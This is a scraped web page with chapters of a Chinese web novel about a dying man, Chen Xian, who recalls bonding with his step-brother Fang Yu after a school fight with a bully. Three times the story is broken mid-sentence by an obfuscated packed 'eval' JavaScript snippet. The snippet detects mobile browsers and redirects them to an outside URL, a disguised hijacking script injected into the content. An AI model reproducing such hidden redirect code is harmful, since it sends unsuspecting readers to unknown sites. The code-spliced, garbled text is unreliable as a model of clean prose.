;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505968|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 派出所里人不多,压抑的气氛蔓延着。 办事的窗口排了两个人的短队,陈舷走过去,站在最后面。 他往外看了一眼,黑车还停在那里,不知方谕在干什么。 陈舷沉默很久,往兜里按了按,忽然很想告诉方谕实情。 他刚犹豫起来,那辆黑车就一动,开走了。 陈舷下意识跟着动了动身子,又停在原地——他又叫不住方谕。 外头北风呼啸,天渐渐黑了下来。 办完销户手续,陈舷出了派出所,就近找了个酒店。 花宁酒店402房间的大床上,摊着一张销户证明,还有一张皱巴巴的诊断书,和几张检查单子。 卫生间里,水声不断。 陈舷趴在洗手台上,咳个不停。 他嘴巴里不停有血咳出来,落在洗手台里,被水冲了下去。 呕了几口,他气喘吁吁地停下来。可又有两股温热从鼻子里涌出来,陈舷伸手一抹,一片血红。 又流鼻血了。 他苦笑一声,捧着水冲洗起来。 大床上,那张被他摊开的、皱巴巴的诊断书上,白底黑字地写着: 【检查结论/诊断:胃癌】 - 陈舷是一个月前检查出的胃癌。 那时候感觉晴天霹雳,但他现在已经接受了事实。 胃癌是早期,但陈舷不想治了。 终于不流鼻血了,陈舷关上水龙头,拖着沉重的身体,晃晃悠悠地从卫生间出来,躺到了酒店的大床上。 他闭上眼,一阵困意袭来。 陈舷做了个梦。 做了一个乱七八糟混混沌沌的梦,梦里的画面七零八碎。 他梦见亲妈陈桑嘉和陈胜强坐在一起笑笑哈哈,然后一起慈祥地笑着看向他,摸着他的头喊他小乖喊他儿子,说他病好了,以后一定健健康康平平安安。 然后他回到了老房子的卧室里,睡了一会儿。再起床,他看见了方谕。十四岁的方谕站在客厅的窗台边上,打开着窗户,深秋早晨的风吹得他一激灵。陈舷走到窗户边上,低头,看见陈胜强满面红光地抱着方真圆进了车里,一骑绝尘,开走了车。 然后方谕转过身,突然给了他一巴掌。陈舷错愕地捂着脸抬头,就见方谕拧着眉盯着他,一脸冷冰冰的嫌恶。 他说陈舷,你以为你说得胃癌了我就要可怜你吗。 他说陈舷我可怜你的话谁可怜我,他问他说陈舷你凭什么说那种话。 他说陈舷你对得起我吗。 他说陈舷,你想死的话怎么还不去死啊。 他说陈舷,你去死吧,我做梦都盼着你去死。 他说陈舷,去死啊,你爸都盼着你去死。 去死啊,陈舷。 陈舷蹭地惊醒。 梦外一切安宁,他瞪着酒店安详的暖黄吊灯,脑子里钝钝的一片白。隔了很久,他感觉身上全湿了,再一抹脑门,抹了满手的汗,才发觉自己竟然出了一身冷汗。 胃又在痛了,手机也嗡嗡地响起来。陈舷坐起身来,拿起手机一看,是殡仪馆的人给他发了消息,说他昨天还没缴费。 陈舷把钱打了过去,又把账单发给了方谕——方谕不想欠他,那AA也好。 方谕很快把钱给他打了过来,陈舷也很快收下。 陈舷躺回床上,长叹一声。 手机又嗡了声。 陈舷拿了起来,一看,有新的好友申请。 备注里一句杀气腾腾的话: 【在哪儿?】 8. 破冰 陈舷不用过脑子都知道这人是谁。 他抽抽嘴角,默默把这个来加他的新号也拉黑,在床上翻了个身。 他睡了个回笼觉。 又做了个梦。 他梦见他十五岁那年。 * 和方谕住在同一个屋檐底下,一晃已经半个月。 但方谕一直对他冷着脸。 也对班里的人冷脸,不知道是不是因为陈舷。 班主任把他拉进了班群里,班长叶凡月也加了他,把方谕也拉进了没有老师的同学群里。 但方谕无视一切来自同学的示好,不论线上线下,都一言不发一声不吭,高冷得一度让人怀疑他是个哑巴。 到后来,班里许多男生女生们就都看不上他这个死装的态度,背地里给他起了个外号:死装哥。 当然,还有另一拨人——另一拨人屈服于方谕的脸,叫他冰山帅比,简称冰大帅。 听到这个外号,陈舷一口水喷出来,足足笑了一节课,笑得不敢抬头看老师。 不过方谕还是不理他们。 他每天沉默寡言得像被禁言了似的。 陈舷倒无所谓,反正不管方谕咋样,一不耽误他呼吸二不耽误他活着,顶多在家里有点尴尬。不过方真圆比他还尴尬,陈舷就更无所谓了。 反正尴尬的不是他。 陈舷这人,活得一向有种生不带来死不带去的随意感。 也行,都行,挺好,能活就活,不行就死——十四字真言,是他的人生信条。 方谕不理他,他也顺着他来,不理就不理。 但这天他写完作业玩电脑的时候,尚铭给他发了条消息。 小明同学:舷哥 小明同学:我仔细一数,我靠明天宗哲阳回来了啊 陈舷脑子一嗡,仔细一数。 我靠,还真是。 陈舷脸一垮,手里的游戏顿时不香了。他为难半晌,想了想方谕,琢磨了会儿,还是给他发了信息过去。 迫于他妈方真圆固执的坚持——或者说强力的逼迫,在新婚后第三天,方谕臭着脸,不情不愿地加了陈舷的微信。 陈舷把脑袋上的耳机薅下来,给他发了消息。 陈舷的微信昵称是个船的黄豆符号。 “船”:明天班里有个叫宗哲阳的要回来 “船”:就坐在跟你隔了个过道的那个空座上 “船”:你小心他一点 陈舷还正在打字。 他以为方谕不会回他,结果聊天框顶上,居然出现了【对方正在输入中】的字样。 陈舷一愣。 方谕冒了句回复出来。 无人守夜:他怎么了 陈舷乐了声。 “船”:你会回我啊 “船”:我都做好热脸贴冷屁股的准备了 “船”:他很混蛋,一个月前贴老师脸造黄谣嘚瑟,还跟同学打了一架,被停学了一个月,现在大板子上还有处分贴着呢,你明天可以去看看 大板子是学校一进门就能看见的两个板子。板子各自一米长,合在一起,成了个两米长的大板子。 左边的板子是荣誉栏,贴满了学霸照片和荣誉。 右边的板子是耻辱柱,贴满了处分和通报批评。 方谕没再回他。 虽然【对方正在输入中】的提示亮起又灭了几次,但方谕没再发消息过来。 陈舷拿着手机等了一会儿,都没见他再说话。 于是陈舷放下手机,不管他了。 第二天一早起来,陈舷打着哈欠穿着睡衣,刚出卧室门,眼睛还没全睁开,就听见方真圆压低着声音:“转班?就因为这个你要转班?” ? 陈舷回头,一看,方谕居然还没走。 他抬头看看客厅里的表。已经五点半,平常这个时间,方谕早赶着比他早半个小时的那一班K3上学去了。 陈舷迷茫。 方谕背对着他,坐在门口一动不动,背影像个闹脾气的倔小孩。 方真圆站在他后面,也背对着陈舷。 俩人都没注意到他,方真圆语气不耐地继续说:“你知道转班多费劲,要花多少手续吗?你知道老陈费了多大劲,才把你塞进陈舷那个班里吗?就因为一个不知道是不是重名的同学,你就要转班?” “小鱼,你懂点事儿好不好?我才跟你后爸结婚多久,你就要闹这么麻烦的事?” “这几天也是,你天天拉着个脸,给谁看呢?妈妈给你从乡下接出来,让你住上大房子,你还不乐意了!也不愿意叫老陈一声爸,和陈舷也是,天天绕着他走,给他拉着个脸!” “这幸亏是陈舷和他爸脾气好,要是换个脾气不好的,早又把你给打了!” 又。 陈舷捕捉到关键词,顿时不困了,站在原地一动不动,竭力不发出一点儿声音。 方谕没吭声,只是坐在那里。 “再说了,要是真转班,我怎么跟你后爸说?他会信你这个说法?这看着不就是你嫌弃陈舷,要跟他分班吗?他该怎么想我们?陈舷又该怎么想——……” 话说着,她就义愤填膺地回头指向陈舷的卧室。 这一回头,俩人尴尬地四目相对。 偷听被发现了,陈舷默了片刻,尴尬地抬手:“早,妈。” “……早。”方真圆尴尬地笑了两声,“你起了啊……我把你吵醒了吗?” “没有,我自然醒。”陈舷也呵呵笑了两声,看向方谕,“那个,你认识宗哲阳?” 方谕撇头看了他一眼。 他那双丹凤眼还是冷漠。 “不认识。” 他边说边起身,拿起旁边的书包,站起来走出了门。 门被他吱呀关上。 屋子里一片寂静。 门外,方谕的脚步渐行渐远。 陈舷忽然想起来——宗哲阳,也是上个学期转学来的。 天渐渐冷了,天亮的越来越晚。坐上公交车的时候,天边亮了一小半,破晓的光乍破大地。 公交车颠簸地朝着学校开,车里的空气有尘埃飘飘浮浮。走在前头的座位上,陈舷回了回头。 方谕坐在后面。今天他出门晚了,不得已和陈舷坐了同一辆。 他皱着眉低着头,捏着手机看,神色很差,一双丹凤眼底下挂着两圈浓重的黑,像一晚上没睡。 到了学校,陈舷一屁股坐在座位上,重重叹了口气。 班里都难得地低气压,大伙都有气无力——宗哲阳一回来,他们班全都别想安生。 过了几分钟,尚铭也苦着脸进了教室,坐到陈舷旁边,一脸的想死。 “宗哲阳还没来?”他看向那个空位。 “没有。”陈舷说,“你忘了?他一向踩着铃来。” “对哦。” 说话间,教室的门又拉开了。 方谕也黑着一张脸进来了。这位更是重量级,身上的低气压比他们整个班的人加起来都重。 “哎哟我去,”尚铭小小的惊呆,“冰大帅怎么都这样,难不成谁跟他说了宗哲阳了?谁啊,闲的蛋疼吗,真是狗拿耗子多管闲事。” 宗哲阳的光辉事迹十分精彩。 狗拿耗子的始作俑者坐在他旁边,一阵失语后:“不知道。” 方谕刚坐下,教室门又被拉开。 这次哐当一声巨响,门重重摔在墙上。 一个瘦瘦高高满脸麻子,长得尖嘴猴腮,眼睛细小的学生站在门前。 他哈哈大笑一声,一撸自己的板寸头,嘴里吧唧吧唧嚼着口香糖,嘚嘚嗖嗖地走进来喊:“老子回来了!有没有掌声!” 全班鸦雀无声。 陈舷看他一眼都头疼,默默撇过头。 “舷哥!”宗哲阳喊他,“好久不见啊!不跟兄弟打个招呼吗!” 谁跟你兄弟了! 宗哲阳手插着兜,朝他走过来,很自来熟地一拍他肩膀:“大课间打球去啊!” 陈舷硬着头皮抬起头,呵呵地干笑:“有事,有事。” “哎呀,有什么事儿能比打球重要!反正第三节课那个老头也不管人,咱们逃课呗!”宗哲阳满不在乎,“老橙子也喜欢你,你逃课被发现,撒个娇,咱们一帮兄弟就算旷课一天,都能没事儿!” 老橙子是班主任程慧丽,她相当喜欢陈舷。 虽然陈舷成绩不好。 陈舷快窒息了,心说程慧丽再喜欢他,他也不能这么嘚瑟。 他偷偷朝尚铭挤眉弄眼两下,“兄弟救我”四个字写满眼中。 尚铭反应迅速,立刻转移话题:“再说再说,哎我跟你说宗哲阳,咱班来了个转学生!就坐在跟你隔了个过道的那边!” 他边说边往宗哲阳位置上一指,语气十分夸张:“老帅了!你赶紧看看去!” 宗哲阳直起身。 陈舷忽然想起早上的事,也跟着转头一看。 方谕居然从座位上站了起来。他拿起书包收起座位,看起来是要走。 尚铭刚刚这一句话挺大声,班里所有人都听到了。 方谕动作一顿,停在原地。 陈舷一怔。 方谕低着头,手摁着椅子背停在那儿。 一股无所适从的失措感,从他那边扑面而来。 他头很低,宗哲阳愣了一会儿。 “方谕?” 宗哲阳眼睛蓦地一亮,笑出声来。他松开陈舷,转头朝方谕走过去,眉毛一挑,语气轻浮:“哟,这不是方谕吗?” 班里人齐齐一愣。 “不记得我啊?”宗哲阳嘚嘚瑟瑟地蹦跳几下,跳到他跟前,笑着说,“我啊,咱俩初中一个班的。” 陈舷大惊。 方谕深吸一口气。 他重新拉开椅子,把书包放了回去,抬起头。 方谕脸色发黑,眉眼深沉。 陈舷愣了下,他居然从方谕脸上看出了杀气。 “你想干什么。” “干嘛啊,说话这么冲。”宗哲阳笑着,“这么怕我?哦对,这个班里还没人知道呢吧?你爸还没来过学校吧?” 方谕眉头皱得更深。 他偏开眼睛,看了眼陈舷。 陈舷当然在看他,两人四目相对——很不合时宜地,陈舷在他眼睛里看到一抹一闪而逝、又十分惊心的恐慌。 “怎么样,兄弟。” 宗哲阳突然伸手,一把揽住他的肩膀。方谕比他高些,这一揽,方谕就猝不及防地一踉跄,被迫低下脑袋,被他夹在怀里。 “给点儿钱花花,”宗哲阳邪笑着,两只手指碰在一起搓了搓,“哥们有个游戏想抽奖。” 方谕眉头一拧,一把将他推开。 “滚!”他骂。 宗哲阳被他一推,推到后面的桌椅上。他撞了上去,疼得嘶了一声。 宗哲阳恼了:“哎哟,现在挺厉害啊!不听我的是吧?你问问这班里,哪个敢不听老子的!?” 气氛顿时剑拔弩张。 方谕紧咬着唇,死瞪着他。 “我去我去我去,”尚铭小声地狂怼几下陈舷,“我靠我靠,舷哥,什么情况?” “闭嘴。”陈舷捂住他的嘴,目不转睛地瞪大眼睛,大气都不敢出,生怕错过一个字。 方谕盯着他,脸色黑得要滴墨,但一言不发。 “你拿不拿钱?”宗哲阳大声嚷嚷。 方谕不吭声,眼睛一直瞪着他。 “不拿钱是吧?”宗哲阳说,随后向四周一展臂,哈地一笑,喊,“哎,你们是不是以为这个方谕长得挺帅,人挺好?我告诉你们啊,他是他妈在外头的私生子!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505969|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈舷蓦地瞪大眼睛。 方谕脸色一白。 “他根本就不是他爸亲生的!”宗哲阳哈哈大笑起来,指着他的鼻子,“以前我们上初一军训,他爸直接进学校里面来找他,差点没把他打死,笑死我了!” “他就是个婊.子生的,他爸亲口说的!哈哈哈哈哈!” “宗哲阳!” 方谕急得喊他,脸上白得毫无血色。 “现在知道错了?”宗哲阳嘻嘻笑着,“来啊,给我拿钱,拿了我就不说了!” 方谕一顿,再次咬紧下唇,瞬间冷汗大颗大颗地往下落。 “不拿是吧?”宗哲阳转头又喊,“我告诉你们,他爸可说了,这就是个不知道跟哪个生的野种!他妈搞破鞋搞出来的!” 陈舷腾地站起来。 尚铭一愣,一转头,看见陈舷脸也黑了。 “舷哥?” 陈舷拉开椅子,腾腾地朝着宗哲阳走过去。 “他妈长得就跟个接客的似的!” 陈舷走到宗哲阳身后。 “他长成这样,以后肯定也要出去卖——啊!” 陈舷拽过他的后衣领子,二话不说,将他往后一扔,抬脚狠狠踹上他后背。 宗哲阳嗷一嗓子,当场被踹飞出去。他趴到地上,后背上已经清晰地印上了陈舷的鞋底子。 “说完没有?”陈舷冷着脸,“你又开始了是吧,没完了是吧?来个人你就造谣?走,跟我去老班那儿。” “你有病吧陈舷!” 宗哲阳一个扑腾翻过身,对着他怒骂,“关你屁事,我在这儿跟方谕说话,你谁啊你,多管闲事什么!” “我是他哥!”陈舷扯着嗓子骂起来,“你再说他一个试试!?” 空气凝固一瞬。 突然,世界安静了。 宗哲阳笑出声来:“你?他哥?骗鬼吧你!你天天在班里装老大,现在真以为自己是老大哥了?真以为自己人缘好啊?谁不知道你就是个孤儿?开家长会你没人来,运动会也没人来!孤儿东西!” 陈舷皱皱眉,刚想说什么,突然肩膀被猛地一按。 他被往后一推,就见方谕拽过宗哲阳的领子,一拳头砸了上去。 “!?” 陈舷吓了一跳,忙喊,“方谕!别真动手啊!方谕!!” 尚铭突然一摔书包,气得老脸通红,跟大傻春似的大叫起来:“打他!” 一帮十四五的少年瞬间热血沸腾,蜂拥而上:“揍他!!” “我草你爹的宗哲阳,老子忍你很久了!” “欠我的五十块要拖多久啊!” “你爹个吊你再说我闺蜜对你有意思试试!!” “你个超雄你个巨婴,我揍死你!” “哎!!” ——陈舷被挤出人群。 一群人已经围在一起,狂殴宗哲阳。 事态失控,叶凡月赶紧跑了出去。 “都别打了!”陈舷捂着脑袋,欲哭无泪得很无助,“叶子叫老师去了!别打了!!” 不锈钢的保温水杯被重重砸在办公桌上。 三个少年人站在办公室里,被重响砸得纷纷一哆嗦。 程慧丽气得红温了,瞪着眼骂:“大早上就打架!还群殴!?有本事了啊你们,方谕!你是不是有毛病!刚转学过来就给我玩群殴是吧!” “不是他,他能起头打这么狠嘛。”陈舷赔着笑低声挥挥手,又指指宗哲阳,“我打的,他说我孤儿。” 宗哲阳一听,顿时不干,指着方谕,鼻青脸肿地大叫起来:“很么木数他!逗数他!” “闭嘴吧你,话都说不清了。” 陈舷推了他一把,不小心碰到他的伤口,宗哲阳又惨叫起来。 “行了!”程慧丽一拍桌子,指着陈舷和方谕,“你俩出去站着!滚!” 陈舷和方谕从善如流地滚出去了。 早自习已经开始,走廊里一片安静,办公室旁的三个教室里参差不齐地响着早读声。 陈舷站在办公室门旁,方谕站在他旁边。天大亮起来,橘黄的晨光里,走廊上的光尘飘飘浮浮,一股说不清是什么的味儿飘荡着。 两人站在一块儿,沉默很久。 陈舷偏偏脑袋,看了眼方谕。 方谕也偏来视线。 视线相撞,陈舷噗嗤笑出声来。 方谕也再忍不住了,同样笑出声来。 俩人捂着嘴巴,笑弯了腰。 他们一起蹲下去,笑了好久。 等到笑累了,方谕望着他:“我不是私生子。” “嗯?” “我跟我妈,长太像了。”方谕说,“我一点儿都不像他,所以他硬说我是私生的。我亲爸有病,特别不讲理,还打人。” “哦,这样。”陈舷点头,“但我是真没人管,我爸真不管我,我妈也不要我抚养权。我没人要。” 陈舷说这话时笑着,笑得眼睛都眯起来。他有双漂亮的狐狸眼,一笑就眼睛弯弯,细密的长睫被旁边的晨光一照,半张脸都融在暖洋洋的光芒中。 方谕看了他一会儿,忽然释然地呼出一口气来。 “哥。”方谕叫他。 陈舷愣住了。 “哥,”方谕又叫了他一声,“中午我请你吃饭吧,哥。” 早读声不绝于耳。 十五岁的陈舷怔怔地望着方谕。方谕蹲在晨光照不到的阴影里,衬得皮肤更加冷白,可那双看向他的丹凤眼亮了许多,再没有戒备与警惕——原来方谕这张凶脸,还能够这么柔和地看着谁。 要入冬了,学校里的梧桐树开始掉叶子,几片落叶顺着窗户掉进来。 陈舷笑着应下声来,说好。 他们是两只小兽。伤疤被毫不留情地揭开时,突然再也没了隔阂,开始抱在一起舔血。 9.回去 答应是答应下来了,但陈舷砸吧了两下嘴以后,“呀”了声。 “能不能吃上饭,还不一定。”他说,“没准,咱俩今天这学不用上了。” 方谕不解:“为什么?” “废话啊你,我们打架斗殴了。”陈舷伸着食指,在他胳膊上重重点了两下,“傻呀,小鱼,打了架肯定叫家长的,你还把宗哲阳揍成这熊样,多严重。” 他这一声“小鱼”,叫得方谕脸一拉,五官扭曲地龇牙咧嘴了下。 “你别这么叫我。”方谕一脸牙疼。 陈舷嘿嘿地笑,不以为意,还跟个傻狗似的摇头晃脑两下,又拿胳膊肘怼怼他:“哎,一会儿要是拎咱俩进去审问,你别承认是你打的。你就说,是我先上去动的手。” “为什么?”方谕又问。 “……你是真傻呀你。”陈舷啧了声,“你早上刚在家里跟你妈说了宗哲阳,你妈是怎么说的,还要我提醒你呀?” 方谕不吭声了。 “她肯定怪你,”陈舷说,“我就不一样了,她不好意思骂我的。再说,班主任也喜欢我,宗哲阳还有前科。要是说是我动的手,不管咋样,我处分肯定比你轻。你还刚转学过来,没几天就背个处分,多不好看。我就不一样了,我没脸没皮,还是这沙比学校的原住民,不怕那些。” 方谕半信半疑:“能这么顺利吗,真的是我先动的手啊。” “学校又没监控!”陈舷被他整得懊恼起来,“我发现你怎么脑子那么死呢,你就硬说是我先动的手,咬死这事儿,没事的!宗哲阳他本来就有毛病,那小嘴儿一张就是天天造谣,没人信他的!你信你哥的!” “叫人来对质怎么办?”方谕犹豫。 “那没事,”陈舷说,“我打信号就行,咱班唯一的优点就是团结。” * 第一节课上了一半的时候,走廊里响起一阵噔噔的急促脚步声。 办公室的门被匆忙推开,方真圆满头大汗地跑了进来。 她抬眼一瞧。 陈舷和方谕,还有一个被揍成猪头看不出到底长什么样的少年,仨人并排靠墙站着。 方真圆狠狠瞪了方谕一眼,转头赶紧向程慧丽赔笑:“不好意思老师,这孩子我带回去,肯定好好教育!您千万别给他记处分……” “这你得跟对方家长商量。”程慧丽看了她一眼,回头挖了眼陈舷,“就算这位同学有做得不对的地方,那也不能这么打。” “是是是,您说的是。”方真圆说,“方谕,赶紧给同学道歉!像什么话,才转学过来几天……” 程慧丽:“……不是他。” 方真圆表情一滞:“啊?” “是陈舷。”程慧丽朝陈舷撇了撇脑袋。 方真圆的表情顿时青了一阵。 陈舷摸摸鼻子,努力憋住笑,往前一步,出了列,把两手放到身前,像酒店迎宾的似的,朝着猪头宗哲阳深深鞠了一躬:“对不起。” “我不该因为你说我是孤儿就打你,也不该因为你要抢我弟弟的钱就打你。” 方真圆的脸更青了。 最后,这事儿没再过问方谕。 陈舷也没再道歉,第一节课下了课以后,他跟方谕俩人被老师赶回了教室。宗哲阳没能回教室,还在办公室被扣着。 一进教室门,陈舷就对着叶凡月虔诚地拜了几拜。 “多谢女王!”他极其夸张地拱手。 “行了行了,快一边去。”叶凡月哭笑不得地把他推开,又问,“没说你什么吧?” “没啥,你走以后,程姐就直接叫家长了。”陈舷直起身来,一脸感动,“还得是叶姐,感谢叶姐帮我遮掩。” 刚刚在办公室里,叶凡月被程慧丽叫了过去,询问情况。 她刚站到程慧丽跟前,话还没说一句,陈舷赶紧咳嗽了声。 叶凡月转头望向他。 陈舷做作地抹了一把脸,伤心欲绝:“我第一个出手打他,还不是因为他骂我孤儿?关方谕什么事,他真能胡编乱造。老师你不能这样,这个姓宗的天天满嘴胡话你又不是不知道……” 程慧丽狠狠一瞪他:“把嘴闭上!” 宗哲阳也骂起来:“你他大爷说什么!陈舷你是不是有——” 程慧丽又说:“你也闭嘴!!” 宗哲阳也不得不把嘴闭上了,一脸不服。 “你说,”程慧丽气呼呼地转过头,对着女孩又放软语气,“别怕,实话实说,到底是谁先动的手?” 叶凡月多望了陈舷一眼。 老师看不见的地方,陈舷十分用力地对她挤眉弄眼了下,做了个口型,还伸出食指,使劲往自己身上指了指。 全、是、我。 叶凡月深以为然地一仰头,坚定无比:“是陈舷,招呼大家群殴宗哲阳的也是陈舷。” 陈舷脸色一亮,站在程慧丽后边,偷偷咧嘴一乐,给她比了个大拇指。 * 方谕拍了拍陈舷的肩膀,算是跟他打了个招呼,然后转身就回了自己座位上。 等他走远了些,叶凡月才把身子往前探了探,不解问道:“舷哥,尚铭我理解,你俩铁哥们,你帮他担下来无可厚非。但你为什么包庇他?冰大帅没给过你好脸啊。” “家家有本难念的经嘛。”陈舷呵呵笑。 陈舷和方谕没能在教室里留很久,第二节课上一半,他俩又被叫走了,方真圆开车带他俩回了家。 车上,方真圆愁眉苦脸,好几次欲言又止,连连瞟了好几眼后视镜里的陈舷。 陈舷十分想笑。 果然和他想的一样,方真圆不敢骂他。 到最后,方真圆也只是叹气,说:“我还是要跟你爸说一下。” “说吧。”陈舷点头。 车子开到了家楼下。 回到家里,方真圆就拿出手机,给老陈打了电话。 陈舷放下书包,转头去厨房里打开冰箱,拿了两罐可乐。方谕正好也过来了,他递给方谕一罐。 方谕很有礼貌地把他的手推开。 “我不喝带气的。”他说。 “哦,这样。”陈舷把可乐放回去,把一瓶橙汁拿出来给他,这也是方真圆特意买的。 方谕接了过去。 他一边拧开盖,一边回头担忧地睨了眼走到阳台边上打电话去的方真圆:“没事吗?” “没事儿,打去吧。”陈舷笑着,“事出有因,我爸不会太认真。” 方谕拿起橙汁喝了口,转头望了眼方真圆。 她背着身子,和电话那头说着话。 电话打出去了,但老陈没回来。 老陈挺忙,他开了家装修公司,白天的时候都得去跑业务,很多时候晚上也得应酬,忙得脚不沾地,没空教育陈舷。 不过方真圆嫁到家里来以后,老陈收敛了很多,有很多个晚上六七点的时候就回来了。 家里只有陈舷这个半大小子的时候,老陈往往十一二点才回家。 今天也一样。 等到晚上天黑下来,老陈才回来。 听见门开的动静,陈舷走出门来。 老陈刚在门口换好鞋。 抬头看见陈舷,他眼神如常,没说什么,只是抬手摘掉脖子上的围巾,随口问道:“打架了?” 陈舷点了头。 “他骂我孤儿,”陈舷说,“本来这个还能忍,但是他好像跟方谕认识,说让他给钱,不然就怎么怎么样。” “要怎么样,我没听到。但我听着是威胁啊,一个没忍住就动手了。” 一搬出方谕,陈胜强顿时也没话说了。 陈舷往他旁边看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507643|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,就见方真圆表情复杂。 方谕下午时被方真圆谈过人生了,在他的卧室里。 这个新房隔音没那么好,陈舷坐在隔壁,即使方真圆把声音压得很低,他也听到了些只言片语。 他听见方谕告诉方真圆,宗哲阳都说了什么。 方真圆好半天没说话。 这会儿,她也没说话。 陈胜强看了她一眼。 方真圆想了想,凑近过去,嘟囔着跟他咬了会儿耳朵。 陈舷站在不远处,听不见她究竟在说什么,但陈胜强眼里肉眼可见地浮起一片五味杂陈——方真圆多半是跟他说了方谕被威胁的内容。 有关方谕他亲爸,她的前夫。 陈胜强一定是知道的。 所以他也表情复杂地抿了会儿嘴,对陈舷挥挥手:“打赢了就行,这回算你讲义气。下回文明点儿解决,这次就算了,你不用再管了。” 方谕真好用。 陈舷点了点头,嘴一咧乐起来,贱不次喽地晃悠两下肩膀,说了句“谢谢老爸爱你明天见”,转头就窜进了屋子里。 陈胜强在屋外头笑出声来,骂了句“没正经的玩意儿”。 关上门,陈舷靠到门后边,打开手机,给方谕发了个“强壮”加“学生”加“比耶”的一连串三个黄豆表情,以此宣告他这次的全面胜利。 方谕给他回了个敬礼的黄豆表情。 陈舷吃吃笑起来。 紧接着,方谕又给他发了一条。 无人守夜:明天一起走。 陈舷眼睛一亮:包的 ——一股腥甜突然涌上喉咙。 好像有把刀捅进了胃里,顿时,一阵撕裂的痛楚。 陈舷一个激灵,从梦里惊醒。 他痛得身子像虾似的一缩,捂住嘴,赶紧翻身下床,踉踉跄跄跑进卫生间,冲到洗手台前,呕地一口血吐了出来。 一口口的血落进水池里,落下的瞬间绽成狰狞的花。 陈舷呕了半晌,终于吐了个干净。 他没了力气,打开水龙头冲掉血后,人就抓着洗手台的边缘,慢慢坐到了地上。 他仰头躺到洗手间冰凉的地板上,喘着粗气缓了一会儿。视野里,挂在天花板上的灯明亮刺眼,惹得视线里变得一片模糊,重影阵阵。 陈舷脑子不太清醒,恍恍惚惚地忽然分辨不清自己在哪儿。 他好像又闻见花香味儿了,听见窗外的鸟叫声,听见方真圆在厨房里咚咚锵锵。他转头,似有似无地看见不远处有张书桌,书桌上的花瓶里插着花。 十五岁的时候,方真圆在他书桌上摆了个花瓶,总喜欢时不时地给他插上两朵花。 有时候是三角梅,有时候是小白菊,有时候是陈舷叫不出名字的漂亮花朵。 后来方真圆懒得弄了,瓶子就那么空了下来。 方谕看他花瓶总空,后来就子承母业的也给他买花回来,插上。 陈舷眼神麻木发空地望着那虚无缥缈的花瓶,知道自己又出幻觉了。 思绪控制不住地飘回十二年前,他又想起和方谕破冰那天。 想起空气里飘飘浮浮的灰尘,想起教室里传出的此起彼伏的早读声。那时方谕第一次对着他笑出声来,笑得直不起腰,笑着叫他哥。 那时候方谕十四岁,丹凤眼还很嫩,没有很锐利,在太阳照不到的地方亮晶晶地望着他。 好想回去啊。 陈舷呆呆地望着眼前。 那时候什么都还没发生。 错果还没发芽,不该有的心思都还没出生。 方谕只是真诚地叫他哥,陈舷也只是真诚地应下来。十四五的小孩,打一架就冰释前嫌,互相露个口子便相互理解。 那时候他们心思单纯,什么都没多想。 真想回去。 10.定厅 手机铃声很不是时候地在外头响起。 陈舷一哆嗦,思绪被拉了回来。 他翻身,费力地从地上爬起来。洗手池里的血被冲的差不多了,陈舷伸手把没冲下去的黏血抹了两下,冲干净池子,关上水龙头,出了洗手间,拿起手机。 是殡仪馆打来的微信语音。 陈舷接了起来:“喂?” “陈先生,您好,”殡仪馆的人在另一头语气礼貌,“昨天这边已经把遗体安置好了,您今天方便的话,可以过来一下吗?我们给您详细介绍一下下葬流程。” “您也得来挑一下守灵厅和棺材,没问题的话,就要给死者入殓下葬……” 陈舷从床头的纸抽里抽出两张纸巾,擦了擦嘴。 擦了一纸的血。 陈舷并不意外,捂着嘴巴又咳嗽几声。 还好,这次不是咳血,只是单纯的咳嗽。 “除了这些,墓地您也得挑选一下……”电话那头的工作人员听到他的咳嗽声,顿了顿,关切道,“还好吗,陈先生,您感冒了?” 陈舷忽然想笑,陌生人都比曾经的家人关心他。 “没事。”陈舷说,“我知道了,这就去看看,你把地址发我一下吧。” 工作人员应声说好,挂了电话,还礼貌地在最后说等您过来。 陈舷放下电话。 早在昨天陈舷打电话联系上时,殡仪馆就和他加了微信。 没一会儿,陈舷微信上叮了一声,殡仪馆发来了详细地址。 陈舷看了一眼,收回目光。他摇摇晃晃地走到床头,从包里掏出一堆药。 药不少,看起来得有五六种。陈舷挨个从药板子里抠出来些,又拿起酒店桌上的一瓶凉水,挨个吞服下去。 陈舷本来没打算吃药,反正也没多少日子。 结果昨天才断一天,就白天呕血晚上咳血的,刚刚还又呕了一遍。 真是不吃不行。 他吃下药,闭上眼靠在墙上缓了会儿。不知是不是心理作用,身体立马舒坦许多。 胃里的痛消散了些,陈舷的脑袋也清醒了。 他思索片刻,还是拿起手机来,给陈建衡打了语音电话。 